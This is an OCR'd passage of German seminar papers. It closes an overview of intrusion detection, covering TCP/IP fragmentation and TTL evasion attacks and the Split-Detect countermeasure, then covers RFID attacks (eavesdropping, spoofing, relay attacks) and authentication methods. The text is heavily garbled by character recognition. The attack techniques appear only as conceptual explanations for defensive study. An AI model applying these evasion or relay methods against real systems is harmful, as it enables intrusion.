es hostbasierte IDS, das sind Erkennungssysteme, die auf einem einzelnen Rechner laufen,
und die dortigen Aktivitdten der Nutzer oder den Zustand des Systems analysieren. Dem
gegeniiber stehen die netzwerkbasierten IDS, die den Datenverkehr im Netz als Grundlage
ihrer Analyse verwenden.

Eine andere Betrachtungsweise ist die Einteilung in Anomalie- und Misuse-Detection IDS.
Erstere erlernen im Laufe der Zeit {ibliches Verhalten und schlagen Alarm, wenn von diesem
abgewichen wird, letztere sind mit Virenscannern vergleichbar und erkennen bekannte An-
griffsmuster und Exploits anhand von Signaturen. Es existieren in beiden Dimensionen der
Kategorisierung auch Mischformen.[Klei01] Im folgenden werden hauptséichlich hauptséchlich
netzwerkbasierte IDS betrachtet.

IDS, die nichtnur Angriffe erkennen, sondern auch auf diese abwehrend reagieren koénnen,
werden Intrusion Prevention Systeme (IPS) genannt. Diese konnten beispielsweise Pakete,
die einem Angriff zuzuordnen sind verwerfen und den zustédndigen Administrator informieren.

Es werden also mindestens drei Komponenten in einem IDS benétigt. Die erste sollte Daten
iiber das zu iiberwachende System oder Netz sammeln. Diese werden von einer zweiten Kom-
ponente analysiert und schliellich sorgt eine dritte fiir eine Darstellung der Ereignisse oder
sogar eine automatisierte Reaktion.



186 Sven Krohlas: Network Hardening: Firewalls, VPNs und IDS

4.2 Datenquellen

Anhand welcher Merkmale kann ein IDS nun versuchen, einen Angriff zu erkennen? Auf
einem einzelnen Rechner findet man fiir die hostbasiert Intrusion Detection beispielsweise in
folgenden Informationen Hinweise auf Angriffe:

e Fehlgeschlagene Anmeldeversuche oder Versuche, den Nutzer zu wechseln.

o Unerwartete Anderungen an Systemdateien. Diese lassen sich durch Checksummen ve-
rifizieren, die am besten auf einem nur lesbaren Medium gespeichert sind.

e Gednderte Benutzer-IDs oder das Auftauchen neuer Nutzer.
e Benutzer, die zu uniiblichen Zeiten am System aktiv sind.
e Nutzung lange inaktiver Accounts.

e Ungewohnlich kleine Logdateien oder grofie Liicken in ihnen. Manipulationen an Zu-
griffsrechen der Logs, ungewohnliche Eintréige oder Zeitangaben darin.

e Unerwartete Anderungen in der Systemperformanz oder -stabilitiit.
e Anderungen an den laufende Systemprozessen.

e Ungewohnliche Anderungen im Dateisystem: neue Dateien, GroBendnderungen, An-
derungen an Rechten, ungewohnliche Datei-und Verzeichnisnamen, Verschwinden von
Dateien.

Netzwerkbasierte IDS bieten eine andere Betrachtungsweise, die nicht nur auf einen einzelnen
Rechner beschrankt ist:

e Sich oft wiederholende Anfragen auf einen Host.

e Verbindungen zu ungewohnlichen Zeiten oder ausgehend von ungewohnlichen Orten
(falls sich diese trotz ARP- oder IP-Spoofing ermitteln lassen).

Ungewohnliche Anderungen im Netzwerkverkehr.

e Anfragen von einer hohen Zahl verschiedener Rechner.

Signaturen bekannter Exploits im Netzwerkverkehr.

Diese Listen sollen einen groben Uberblick der Maglichkeiten vermitteln und stellen keines-
wegs den Anspruch auf Vollstandigkeit.

4.3 Evasion Attacks

Selbstverstandlich sind sich Angreifer der Existenz von IDS bewusst und versuchen, diese in
der Angriffsausfithrung zu beriicksichtigen. Schwierig wird die Abwehr beispielsweise, wenn
bekannte Exploits verdndert werden, denn dann greift eine Erkennung mit einfachen Signatu-
ren ins Leere. Noch besser aus Sicht des Angreifers wére es jedoch, wenn das IDS ausgetrickst
werden konnte, sodass es die schiadlichen Daten nie zu Gesicht bekommt. Dies wird im Netz
durch Fvasion Attacks versucht.

Evasion Attacks nutzen die bereits in Abschnitt [2.7 vorgestellte Moglichkeit der Fragmentie-
rung von [P- und TCP-Paketen. Drei Fille kénnen unterschieden werden.
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|SEQ=13, DATA="ACK"

SEQ=10, DATA="ATT*

|SEQ=10, TTL=10, DATA="ATT*

SEQ=11, TTL=1, DATA="JNK*

SEQ=13, DATA="ACK"

| SEQ=10, DATA="ACKJNK*

SEQ=13, DATA="ACK"

Abbildung 5: Mogliche Evasion Attacks. Der Angreifer versucht hier, den String "ATTACK*
an das Opfer zu senden. Oben: Segmente in falscher Reihenfolge. Mitte: Segmen-

te mit eingestreuten Zeichen und geschickt gewdhltem TTL. Unten: Segmente
mit {iberlappenden Fragmenten. Aus [VaFBO0G6].

1. Segmente konnen das IDS in beliebiger Reihenfolge erreichen, werden am Zielsystem
dann jedoch korrekt zusammengesetzt.

2. Router dekrementieren den Wert des TTL-Feldes ("Time To Live“) im TCP-Header
eines jeden Paketes um eins. Falls der TTL darauf den Wert 0 erreicht, wird das Paket
verworfen und der Absender informiert. Somit wird verhindert, dass Pakete an nicht
erreichbare Rechner ewig durch das Netz geroutet werden. Durch geschicktes Setzen
des TTL-Wertes konnen Pakete so gesendet gesendet werden, dass sie ein IDS noch zu
sehen bekommt, sie aber beim néichsten Router, den sie passieren, verworfen werden.
Das Opfer sieht also andere Daten als das IDS.

3. Segmente konnen sich iiberlagern. Dies ermdoglicht dem Angreifer, seinen zu iibertra-
genen String mit nutzlosen Daten aufzufiillen, die beim Reassemblieren iiberschrieben,
und somit wieder entfernt werden.

Kombinationen dieser Vorgehensweisen sind natiirlich ebenso moglich.

4.4 Losungsansdtze gegen Evasion Attacks

Der naive Losungsansatz, ein IDS sdmtliche Pakete reassemblieren zu lassen und dann zu
untersuchen|PtNe98], leidet an einem grofien Nachteil: der Komplexitét, sowohl beim Spei-
cherverbrauch als auch der benétigten Rechenleistung. Trotzdem war dieses Verfahren bis
kiirzlich Stand der Technik. Inzwischen wurden Maflnahmen vorgeschlagen, mit denen diese
Notwendigkeit unter bestimmten Voraussetzungen zumindest fiir eine einfache Signaturerken-
nung entfallen kann.[VaFBO06] Diese werden nun im Folgenden betrachtet.

Zuallererst wird das Problem etwas vereinfacht. Fragmentierung auf IP-Ebene wird als relativ
selten angenommen und somit werden derartige Pakete gleich an den mit konservativer Reas-
semblierung arbeitenden, langsamen Pfad weitergegeben. Ebenso wird der Fall sich {iberlap-
pender TCP-Segmente vereinfacht, indem festgelegt wird, dass keine Pakete, die inkonsistente
Daten enthalten, vom TCP-Stack des Hosts an die dort laufende Anwendung weitergegeben
werden. Diese sollen stattdessen verworfen werden. Die letzte Anforderung verlangt jedoch
eventuell Anderungen an den TCP-Stacks der verwendeten Systeme, vereinfacht das Problem
dafiir jedoch mit recht geringem Aufwand um ein gutes Stiick.

Es bleiben dem Angreifer folgende Werkzeuge: die Fragmentierung von TCP-Paketen in meh-
rere kleine Fragmente, die Versendung von Fragmenten in beliebiger Reihenfolge und das
geschickte Setzen von TTL-Werten, sodass manche Fragmente das IDS, aber nicht den Ziel-
rechner erreichen. Die ersten beiden Phdnomene findet man dabei auch oft in normalem Netz-
werkverkehr. Als Losung fiir diese verbleibenden Probleme wird der Algorithmus Split- Detect
vorgeschlagen.
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4.5 Split-Detect

Die Grundidee bei Split-Detect ist es, die zu erkennende Signatur in K Stiicke aufzuteilen.
Nach diesen Stiicken der Signatur werden den ankommenden Daten durchsucht. Die Pakete
werden an den langsamen Pfad weitergegeben, falls

e cin Signaturteil gefunden wird oder
e wir kleine Pakete empfangen oder

e uns Pakete nicht in der korrekten Reihenfolge erreichen.

Ein Problem hierbei stellen Fehlalarme dar. Je kleiner wir die Signaturstiicke wéhlen, desto
wahrscheinlicher wird es, dass ein Datenstrom zu Unrecht an den langsamen Pfad verwiesen
wird. Auch wird empfohlen, typische Strings von verschiedenen Protokollen nicht mit in die
Signaturstiicke aufzunehmen, sonst kénnte es beispielsweise passieren, dass bei einer Lénge
von 4 Bytes jede SMTP-Verbindung wegen ihres typischen "HELO* als verdachtig eingestuft
wird. Hierzu kénnte man ein paar Bytes zu Beginn entfernen, um so die Verteilung so anzu-
passen, dass solche Félle nicht auftreten.

Welche Konsequenzen haben die bisherigen Uberlegungen?

e Wenn ein Paket ein Signaturstiick enthélt, so wird dies erkannt.

e Um einer Erkennung auszuweichen, muss der Angreifer also alle K Stiicke der Signatur
weiter oder anders aufsplitten.

e Wenn wie gefordert die Zielrechner Pakete mit sich iiberlapenden Fragmenten verwerfen,
dann sollte jedes Signaturstiick, das erkannt wird, auch das Zeil erreichen, denn sonst
wiirde es von ihm sowieso verworfen werden.

e Die maximale Paketgrofie, die ein Angreifer verwenden kann, betrigt 2x(Stickgrifie—1),
wir sprechen dabei von “kleinen Paketen“. Diese erhélt er, wenn er zwei aufeinander-
folgende Signaturstiicke zusammenfiigt, und das erste sowie das letzte Zeichen in das
vorhergehende bzw nachfolgende Paket packt. Hierbei ist Stickgrifie = L%J bei Signa-
turldnge S und Stiickzahl K.

Wie wird eine Signatur nun erkannt? Es reicht nicht, auf aufeinanderfolgende, kleine Pakete
zu achten. Denn der Angreifer kann die Sendereihenfolge beliebig selbst bestimmen und im-
mernoch dank des TTLs grofiere Pakete in den Strom einschleusen, die das Opfer aber nie zu
sehen bekommt. Beispielsweise konnte er die Pakete in gerade und ungerade aufteilen, zuerst
die gerade senden und die Liicken zwischen ihnen mit groflen Paketen, die das Opfer nie errei-
chen, auffiillen. Danach sendet er auf gleiche Art die ungeraden. Es fillt jedoch auf, dass der
Angreifer immernoch gezwungen ist, die Daten in mindestens K Stiicke aufzuteilen, da das
IDS bei grofleren Paketen Teile der Signatur erkennen wiirde. Auflerdem unterscheiden sich
die Sequenznummern von zwei Paketen maximal um die Linge der Signatur. Definieren wir
nun den Begriff der aufeinanderfolgenden kleinen Pakete. Dieser trifft auf zwei Pakete zu, die
klein sind, und zwischen denen keine anderen kleine Pakete iibertragen wurden. Sie kénnen
jedoch durch groflere Pakete getrennt sein. Intuitiv sucht das IDS also nach K Auffalligkeiten
in der Verbindung. Auffillig waren hierbei

e zwei aufeinanderfolgende, kleine Pakete, deren Sequenznummern sich maximal um die
lingste, gesuchte Signatur unterscheiden sowie
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e aufeinanderfolgende, kleine Pakete, zwischen denen grofie Pakete, mit nicht in die Rei-
henfolge passenden Sequenznummen, eingeschoben sind.

Mit diesen Kriterien werden ungefiahrliche Verbindungen, bei denen es gelegentlich zu kleinen
Paketen kommt oder deren Pakete uns nicht in der richtigen Reihenfolge erreichen, nicht auf
den langsamen Pfad geleitet.

4.5.1 Der Algorithmus: schneller Pfad

Der eigentliche Algorithmus wird nun nach diesen Voriiberlegungen als Automat beschrieben.
Wie zuvor haben gibt es K Signaturstiicke mit einer Lénge von L%j bei Signaturldnge S. Ein
Paket wird als klein betrachtet, wenn dessen Grofie im Intervall [1; 2 x (Stickgrdfie — 1)] liegt.
Einfache ACK-Pakete ohne Daten fallen mit dieser Festlegung nicht auf.

Fine Verbindung wird erst dann genauer betrachtet, wenn ein erstes kleines Paket in ihr
entdeckt wird. Denn grofie Pakete, wie zuvor gesehen, kénnen Signaturstiicke nicht vor dem
IDS verstecken. Wenn sich das IDS dazu entscheidet, eine Verbindung genauer zu iiberwachen,
legt es fiir die Verbindung einen Datensatz mit folgenden fiinf Eintrdgen an:

e NES: ein 32 Bit Integer mit der niichsten erwarteten Sequenznummer (Next expected
sequence number),

e 00O: ein Wahrheitswert, der angibt, ob seit dem letzten kleinen Paket Pakete erhalten
wurden, deren Sequenznummern nicht in der erwarteten Reihenfolge waren (Out of
order),

e length: Linge in Bytes seit dem letzten kleinen Paket,
e count: Anzahl der bisherigen Auffilligkeiten,

e LUT: Zeit seit dem letzten Update, um alte Eintréige wieder entfernen zu kénnen (Last
update time).

Dies stellt eine Verbesserung gegeniiber traditionellen IDS-Systemen dar, die Informationen
zu jeder Verbindung sichern, nicht nur fiir Verbindungen mit kleinen Paketen.

Die Variable count zahlt die bisherigen Auffalligkeiten. Diese wird mit 1 initialisiert, wenn
das IDS sich entscheidet, eine Verbindung zu beobachten. count wird um eins inkrementiert,
wenn ein neues, kleines Paket erhalten wird, das nicht die in NES gespeicherte, erwartete
néchste Sequenznummer triagt, OO0 wahr ist oder length kleiner ist als die Signaturlénge.
count wird nie gedindert, wenn ein grofles Paket erhalten wird und darf maximal den Wert
K — 1 erreichen.

Die anderen Variablen werden wie folgt aktualisiert. OOO wird auf wahr gesetzt, wenn die
Sequenznummer des ankommenden Paketes nicht der erwarteten Sequenznummer in NES
entspricht und das Paket grof} ist. Die Riicksetzung auf falsch erfolgt, wenn ein kleines Paket
erhalten wird. Damit erkennt das IDS Pakete auflerhalb der Reihe zwischen aufeinander-
folgenden kleinen Paketen. NES wird auf die aktuelle Sequenznummer plus die Linge des
zugehorigen Pakets gesetzt. Das Ergebnis ist die Sequenznummer des néchsten Paketes, falls
dieses in der korrekten Reihenfolge eintrifft. Mit length schliellich wird die Lange des Daten-
stroms seit dem letzten groflen Paket gemessen, indem die Lidnge der Nutzdaten von grofien
Paketen aufaddiert und fiir ein eintreffendes kleines Paket wieder auf 0 zuriicksetzt wird.
Pakete ohne Daten bewirken keine Anderung bei count, 000, NES oder length, LUT wird
jedoch normal auf die aktuelle Zeit gesetzt.
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Nachdem das IDS den Status der Verbindung aktualisiert hat leitet es sie auf den langsamen
Pfad um, wenn es entweder ein Signaturstiick in dem Paket entdeckt (hier zu wird count auf
K — 1 gesetzt) oder der Zahler fiir Auffilligkeiten den Wert K — 1 erreicht hat.

Wenn der Datenstrom nicht an den langsamen Pfad umgeleitet wird, dann wird das Paket an
das angegebene Ziel gesendet, aufler es handelt sich um ein kleines Paket, dann geht zusétzlich
eine Kopie an den langsamen Pfad. Zusammengefasst wird er ganze Datenstrom umgeleitet,
wenn eine grofie Zahl an Auffilligkeiten entdeckt wurde und einzelne Pakete, wenn sie klein
sind oder ein Signaturstiick enthalten.

4.5.2 Der Algorithmus: langsamer Pfad

Zusétzlich zu jedem Paket, das an den langsamen Pfad gesendet wird, erhélt dieser die Infor-
mation iiber die Art der Umleitung: Wurde das Paket normal an den Empfinger weitergeleitet
und nur eine Kopie an den langsamen Pfad gesendet, oder wurde die Weiterleitung gestoppt?
Im ersteren Fall speichert er das Paket zusammen mit dem zugehorigen Fiinftupel, da es even-
tuell spdter noch bendtigt wird, um eine Angriffssignatur zu erkennen. Im zweiten Fall ist
nun der langsame Pfad verantwortlich fiir die Entscheidung, ob das Paket an den Empfanger
ausgeliefert wird. Er setzt nun die zugehorigen Pakete jeder an ihn geleiteten Verbindung wie-
der zusammen und iiberpriift, ob eine Angriffssignatur enthalten ist. Dabei diirfen das erste
sowie das letzte Paket fehlen. Falls eine Signatur erkannt wird, werden die Pakete verworfen.

Dieses Vorgehen bringt die Gefahr von Fehlerkennungen mit sich. Da auf die Betrachtung
des ersten und letzten Paketes verzichtet wird, konnten ungefihrliche Ubertragungen als An-
griffssignatur eingestuft werden. Die Gefahr hierfiir sehen die Autoren jedoch, ohne genauere
Untersuchung, als gering an.

5 Zusammenfassung und Ausblick

Es wurde nun gezeigt, wie ein Netz vor unberechtigten Zugriffen abgesichert werden kann,
mehrere Netze fiir die einzelnen Hosts transparent zu einem einzigen zusammengeschlossen
werden und wie versucht wird, Angriffe automatisiert zu erkennen. Der Leser sollte sich aber
bewusst sein, dass die hier vorgestellten Angriffe und Abwehrmafinahmen nur eine Ubersicht
darstellen und die Auflistung bei weitem nicht vollstédndig ist.

Auch wurden viele weitergehende Themen nicht behandelt oder nur kurz angeschnitten. Die
Verschleierung der Kommunikation selbst wére dabei zu erwiahnen. Allein dadurch, dass zwei
Rechner miteinander Daten austauschen, kann ein Angreifer eventuell bereits Riickschliis-
se auf den Inhalt der Nachrichten schlieflen. Oder die Abstreitbarkeit der Dateniibertragung
(mittels Verwendung von Deniable Encryption[/Ran 96]): selbst wenn der Angreifer die ver-
schliisselten Daten erhilt, sollte es den beteiligten Kommunikationspartnern moglich sein,
ihm noch einen anderen Kommunikationsinhalt vorgaukeln zu konnen, sogar wenn er sie
mit Waffengewalt zur Herausgabe der verwendeten Schliissel zwingt. Derartige Eigenschaf-
ten wiren unter anderem fiir Regierungen im Bereich der Diplomatie oder bei elektronischen
Wahlverfahren von Interesse.

Insbesondere Biirgerrechtler, die an die Verhéltnisse in totalitdren Systemen wie der DDR oder
das Naziregime denken, fordern und férdern den Ausbau anonymer Netze wie TOR[DiMS04]
oder Freenet|CSWHO00]. Mit deren Hilfe wire es bis zu einem gewissen Grad méglich, das
Recht auf freie Rede technisch abzusichern.

Anderen Angriffsformen kommt auch neuerdings eine stetig wachsende Bedeutung zu. Der
Trend geht immer mehr zur Ausnutzung von Schwachstellen in Anwendungssoftware wie
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beispielsweise Webbrowsern, Biiroprogrammen oder Software zur Medienwiedergabe. Diese
werden durch manipulierte Webseiten oder zugesandte Dokumente zum Einfallstor fiir den
Angreifer und das grofitenteils unbemerkt von den hier vorgestellten Abwehrmafinahmen.
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RFID: Probleme, Angriffe und Perspektiven

Jens Kiittel

RFID (Radio Frequency Identification) ist eine Technik, die in der Logistik, aber
auch fiir Authentifizierung und Zugangskontrolle eingesetzt wird. Aus diesen An-
wendungsbereichen folgt auch die Relevanz von Sicherheitsanforderungen, die an
RFID-Systeme gestellt werden.

1 Einfiihrung

In der heute gegenwértigen Logistik ist das Management von Waren und Giitern ein wichtiges
Thema. Etablierte Methoden zur Identifikation und Bearbeitung, wie beispielsweise Barcode,
bieten Spielraum fiir Verbesserungen in Sachen Geschwindigkeit und Minimierung des Bear-
beitungsaufwands. RFID ist hier ein viel versprechender Ansatz. Die transparente Ware, die
mittels RFID jederzeit registrierbar ist und sich selbst meldet, muss jedoch auch einer sicher-
heitskritischen Untersuchung standhalten. Die Analyse, der damit verbundenen Probleme,
Angriffsmoglichkeiten und Perspektiven, ist Inhalt dieser Ausarbeitung.

2 Grundlagen

Zur Betrachtung von Sicherheitsaspekten bedarf es einer Ubersicht der grundlegenden Funkti-
onsweise von RFID. Im folgenden werden die grundlegenden Konzepte von RFID auszugsweise
erldutert, so dass eine anschliefende Sicherheitsbetrachtung moglich wird.

2.1 Aufbau

Grundsétzlich besteht nach [Fink06] ein RFID System aus folgenden zwei Komponenten.

e Transponder — An zu identifizierenden Objekt befestigt (Chip mit Logik und Antenne,
Siehe Abbildung 1)

e Lesegerit — Zur Erfassung, der auf Transponder gespeicherten Information (Siehe Ab-
bildung 1)

2.2 Funktionsweise

Die Grundelemente eines RFID-Systems haben nach [Fink06] folgende Funktionsweise:
Transponder — Die, am zu identifizierenden Teil befestigten, Transponder bestehen in den
meisten Féllen aus Spule, iiber die das RFID System angesprochen werden kann und einem
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Abbildung 1: RFID System [Hans06

Mikrochip, der die notwendige Identifikationslogik bereitstellt. Zusétzlich kann bei Transpon-
der zwischen passiven und aktivem Vorkommen unterschieden werden. Bei passiven Transpon-
dern wird die benotigte Energie aus dem elektromagnetischen Feld gewonnen, wobei aktiven
Bausteinen {iber eine eingebaute Batterie versorgt werden.

Lesegerit — Das Lesegerit setzt sich aus einem Hochfrequenzmodul, mit Lese- und Emp-
fangseinheit, einer Schnittstelle bspw. zur Rechneranbindung und einer Antenne zusammen.
Damit wird eine bidirektionale Kommunikation mit dem Transponder moglich.

2.3 Verschliisselung

Systeme der ersten Generationen waren noch ohne Verschliisselungstechniken ausgestattet
und somit gegen Angriffe wie bspw. Abhoren nicht gesichert. Die reine Klartextiibertragung,
wie in ISO 18000 definiert, ist sehr risikobehaftet. Aus diesem Grunde kommen bei neueren
Systemen Mechanismen wie Authentifizierung der zugreifenden Person und Verschliisselung
der auf dem Chip vorhanden Daten zum Einsatz, wie in [Stud] dargelegt.

3 Probleme und Angriffsméglichkeiten

Ein System, das mit sensiblen Daten arbeitet, muss auf Moglichkeiten des unberechtigten
Zugriffs auf eben diese Daten iiberpriift werden, um nicht authentifizierten Personen den
Zugriff unmoglich zu machen. Im folgenden wird auf Probleme von RFID-Systemen einge-
gangen und daraus resultierende potentielle Angriffsmoglichkeiten evaluiert. Eine Ubersicht
iiber potentielle Angriffsmoglichkeiten zeigt Abbildung|2.

3.1 Abhoren

RFID Systeme kommunizieren mittels elektromagnetischer Wellen miteinander. Hier wird es
moglich den Ubertragungsverkehr abzuhoren. Ist im niederfrequenten Bereich von 13,56 MHz
ein Belauschen des Funkverkehrs nach [ThomO04] nur in kurzer Distanz zum Sender mog-
lich, bieten hochfrequente Ubertragungen in RFID-Systemen Angreifern deutlich giinstigere
Moglichkeiten. In Frequenzbereichen bis 2,45 GHz kann mittels Richtantennen iiber grofie-
re Distanzen mit gelauscht werden. Abbildungen 3|4 und |5 zeigen Datentelegrammen eines
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Deaktivieren |dentitat falschen
Zerstéren Abhéren l
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Lesegerat Middleware
D
Backend

Ablésen
Tragerobjekt
Abbildung 2: Systemschwachstellen [Birk07]

Versuchsaufbaus des [Thom04] mit zunehmender Distanz des Abhérenden um die Abhérmog-
lichkeit eines RFID-System-Versuchsaufbaus zu priifen.
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Abbildung 3: Datentelegramm 1m Abstand [Thom04]

Abbildung 3 zeigt ein Datentelegramm aus 1m Entfernung. Das Sendesignal lédsst sich im
Empfangssignal erkennen und die Amplituden nehmen annidhernd gleiche Hohe an. In Ab-
bildung 4 wurde die Distanz auf 2m erhcht und die Verschlechterung der Signale zeigt sich.
Amplitudenhohen variieren nun und die Signalqualitit nimmt ab. Fazit: Trotz niederfre-
quenter Ubertragung von 14,54 MHz ist ein Abhéren mit 1m Abstand noch moglich. Tests
mit hoheren Frequenzen des [Thom04] zeigen, dass teileise auch noch aus 100m Distanz mit-
gehort werden kann. (Versuchsdaten: Empfianger 14,54 MHz, Empfangsbandbreite 300kHz

(Thom04])
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3.2 Ablésen

Fin triviales Problem stellt das Entfernen und ,,Umkleben” des Tags vom Trégerobjekt dar.
FEin neues Trigerobjekt wird als ein anderes ausgegeben und damit der zugehorige Leser

getduscht. [Birk07]

3.3 Storen

Die Luftschnittstelle zwischen Sender und Lesegerét stellt ein sensiblen Teil des Informations-
austauschs dar. Diese ldsst sich durch Abschirmen oder Storsender beeintriachtigen. [SITO07

3.4 Blocken

Beim Blocken kommuniziert das Lesegerdt nicht nur mit einem Transponder sondern mit
mehreren simulierten. Dadurch kommt es zu Kollisionen. Abhilfe kann hier durch Anpassung
des Tags an das Antikollisionsprotokoll schaffen. [BSI04

3.5 ldentitatsfalschung

Um unauthentifiziert und unautorisiert an Daten zu gelangen, ist die Filschung der eigenen
Identitét ein probates Mittel. Dies kann auf sowohl auf Transponder- als auch auf Lesegerét-
seite geschehen. [BSI04

3.5.1 Transponder

Hierbei versucht ein Angreiffer an die ID des Zieltags zu gelangen, um so durch, mit dieser
ID préparierte, eigene Transponder an geheime Daten zu gelangen.

3.5.2 Lesegerat

Ahnlich geschieht dies auf Lesegeritseite. Hier muss der Angreifer die Identitéit des Lesege-
riats kennen, um sich mittels dieser beim Tag authentifizieren zu kénnen. Durch geeignete
Sicherheitsmafinahmen (Kryptographie) kann dies jedoch dem Angreifer erschwert werden.

3.6 Inhaltsfalschung

Durch unautorisierten Zugriff auf Daten kénnen diese verfilscht werden und dem Lesegerét
falsche Informationen bereitgestellt werden. Diese Attacke ist jedoch nur dann mdéglich wenn
Zusatzinformationen neben Identifikations- und Sicherheitsdaten vorhanden sind. [BSI04]

3.7 Deaktivieren

Beim Deaktivierungsangriff wird der Transponder durch Kill/Delete Operationen physisch
unbrauchbar gemacht. Das Lesegerit ,sieht den Tag nicht mehr. [BSI04
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Abbildung 6: Relay Attacke — Systemiibersicht [Ilan06]

3.8 Relay Attacke

Wie in [Fink06] angefiihrt, ist Ziel einer Relay-Attacke die Distanz zwischen Abhorer und
Sender beinahe beliebig weit zu vergrofern. Hierbei kommen wie in Abbildung 6 dargestellt
zwei zusitzliche Komponenten ins Spiel. Der Ghost (Proxy) empfiingt die Signale der Rea-
derkomponente und kann selbst Signale fiir eine Kommunikation erzeugen um damit einen
Transponder zu simulieren. Der Leach (Mole) kann den Transponder mit Energie versorgen
und demodulieren, um selbst ein Lesegerit zu simulieren. Die Attacke hat nun folgendes Sche-
ma. Der Ghost demoduliert die Signale des Lesegeriits und iibertriagt sie im einfachsten Falle
direkt an den Leech, der diese an den Transponder weiter gibt. In umgekehrte Richtung de-
moduliert der Leech die Transpondersignale und gibt sie dem Ghost weiter, der diese an das
Lesegerat iibermittelt. Dadurch erscheit es dem Lesegerét so, als hétte es direkten Transpon-
derkontakt. Die Distanz zwischen Ghost und Leech kénnen jedoch nicht beliebig gross sein,
da aufgrund von zu langen Signallaufzeiten Timeouts autreten kénnen. (Siehe bspw. ISO /TEC
14443 Typ A). Abmildern kann man dies durch Realisierung des kompletten Protokollstacks
des Transponders im Ghost. So werden nun nur noch Datenpakete zwischen Ghost und Leech
iibertragen und zeitkritische Instruktionen weitestgehend vermieden. Aus diese weise lasst
sich die Distanz erheblich erhthen. Durch die strikte Trennung von Daten- und Befehlsstrom
zwischen Ghost und Leech sind Relay-Attacken nur schwer zu erkennen.

4 Ziel und Zweck von Angriffen

In Abschnitt 3 wurden mogliche Angriffsszenarien skizziert und die damit verbundenen Pro-
bleme thematisiert. Was jedoch ist der genaue Zweck der jeweiligen Angriffe 7 Das [BSI04
definiert in ihrer Studie vier Ziele von Angriffen auf RFID Systeme. (Siehe Tabelle 1)

Ausspéhen | Tduschen | Denial of Service | Schutz der Privatsphére

Inhalt filschen X

Identitét falschen (Tag) X

Deaktivieren X X X

Ablosen X X

Abhoren X

Blocken X X X

Storen X X X

Identitét falschen (Leser) X
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Tabelle 1: Ubersicht: Angriff und Zweck [BSI04

Ausspdhen — Unerlaubte Informationsbeschaffung

e THuschen — Identitéiitsfilschung zur Manipulation oder Informationsbeschaffung

DoS (Denial of Service) — Beeintriachtigung der Funktionsfihigkeit des RFID-System

Schutz der Privatsphéire — Selbstschutz des Angreifers vor Fremdangriff durch eige-
nen Angriff

Diese vier Ziele von Angriffen schliefen sich jedoch nicht gegenseitig aus und kénnen daher
auch kombiniert werden.

5 SicherheitsmaBnahmen

Um nicht jedermann Tiir und Tor fiir schadhafte Aktionen gegen RFID-Systeme zu ermogli-
chen, miissen geeignete Mafinahmen zum Einsatz kommen.

5.1 Authentifizierung

Um unauthorisierten Zugriff auf Daten zu verhindern oder zumindest deutlich zu erschweren,
erwahnt [BSI04] zwei mogliche Authentifizierungsverfahren.

5.1.1 Symmetrische Authentifizierung

Bei der symmetrischen Authentifizierung besitzen nach beide Parteien ein gemeinsames Ge-
heimnis (Schliissel). Dabei sendet das Lesegerét einen ,GET-CHALLENGE®“ Befehl an den
Transponder. Dieser wiederum erwidert dies durch eine generierte Zufallszahl, die er an das
Lesegerit sendet. Mit dem gemeinsamen Schliissel und einem Schliisselalgorithmus wird nun
ein Datenblock, der aus den beiden Zufallszahlen und Steuerungsdaten besteht, vom Lesegerét
generiert und an den Transponder zuriick gesendet. Dieser iiberpriift nun ob seine urspriing-
lich generierte Zufallszahl und die im Datenblock enthaltene Zufallszahl iibereinstimmt. Damit
ist das Lesegerit authentifiziert. Um den Transponder beim Lesegerét zu authentifizieren ge-
schieht der gleiche Vorgang in die Riickrichtung, so dass am Ende beide Parteien von der
Glaubwiirdigkeit der anderen ausgehen kann.

5.1.2 Asymmetrische Authentifizierung

Eingesetztes Verfahren fiir asymmetrische Authentifizierung ist der RSA Algorithmus. Dabei
muss der Tag einen privaten und einen 6ffentlichen Schliissel besitzen.

Nach [Stif07] miissen folgende Schritte ausgefiithrt werden.
1. Wahl zweier Primzahlen p und q
2. Berechnen von
n=pxq
und

r=p-1)*(g-1)
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Abbildung 7: Symmetrische Authentifizierung [Dece02

3. Suchen von e mit
l<e<r
so dass e Teilerfremd zu r ist
4. Suchen von d mit
l<d<r
so dass gilt, dass

(e * d)ymodr =1
5. Der geheime Schliissel ist (n, d) und der 6ffentliche Schliissel ist (n, e).

RSA Signatur
Eine Nachricht m wird an das Tag gesendet, das wiederum die Nachricht m signiert. Die
Hash-Funktion

H:{0,1}* — {0,1}"
wandelt m ins Zielformat um.

Nach [Stif07] sieht dafiir folgende Schritte vor.

1. Berechnen von
m = H(m)
Nachricht digest mit Ausgabe k bits
2. Berechnen von

s = m¥modn
3. Tag sendet Signatur s an Reader

RSA Verifikation
Fiir die Uberpriifung der Signatur sieht [Stif07] folgende Schritte vor.
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1. Berechnen von
m = s“modn

2. Berechnen von

3. Vergleichen ob

wenn nicht verwerfe die Nachricht m
Asymmetrische Authentifizierung hat nach [Stif07] folgende Probleme.

e Berechnungskompliziertheit
e niedrige Speicherkapazitit und

e Overheadgrosse zwischen Reader und Transponder.

Aufgrund dieser auftretenden Probleme hat diese Authentifizierungsform eher ge-
ringere Bedeutung.

5.1.3 Schliisselableitungsverfahren

Symmetrische Verfahren besitzen potentielle Sicherheitsrisiken, da alle zu einem System ge-
horenden Transponder den gleichen Schliissel besitzen miissen. Wird dieser Schliissel bekannt,
sind alle Transponder gefdhrdet. Dieses Problem lisst sich 16sen, in dem die Transponder nicht
die gleichen, sondern unterschiedliche Schliissel verwenden. Bei der Herstellung des Transpon-
ders wird seine Seriennummer ausgelesen und mittels kryptographischen Algorithmus und
einem Masterschliissel ein individueller Schliissel erzeugt und dem Transponder eingegeben.
Die eigentliche Authentifizierung lauft nun nach folgendem Schema ab. Das Lesegerét liest in-
nerhalb des Security Authentication Module (SAM), einem internen Sicherheitsmodul, die ID
des Transponders aus und berechnet mittels des Masterschliissels den individuellen Schliissel
des Transponders. Anschlielend folgt die Authentifizierung nach obigem Muster.

5.2 Verschliisselung

Um sensible Daten vor unbefugten Dritten zu schiitzen, sollten diese verschliisselt werden,
da die Lufttransportschnittstelle abgehort werden konnte. Eine Moglichkeit besteht darin
die zu sendenden Daten mittels Verschliisselungsalgorithmus und gemeinsamen Schliissels
beider Parteien zu chiffrieren und zu dechiffrieren. Bei identischen Schliisseln bei Sender
und Empfinger spricht man nach [Maye02] von symmetrischer Verschliisselung, bei nicht
identischen Schliisseln von asymmetrischer Verschliisselung.

5.3 Verhindern des Auslesens

Um unauthorisiertes Auslesen der im Transponder befindlichen Daten zu vermeiden, finden
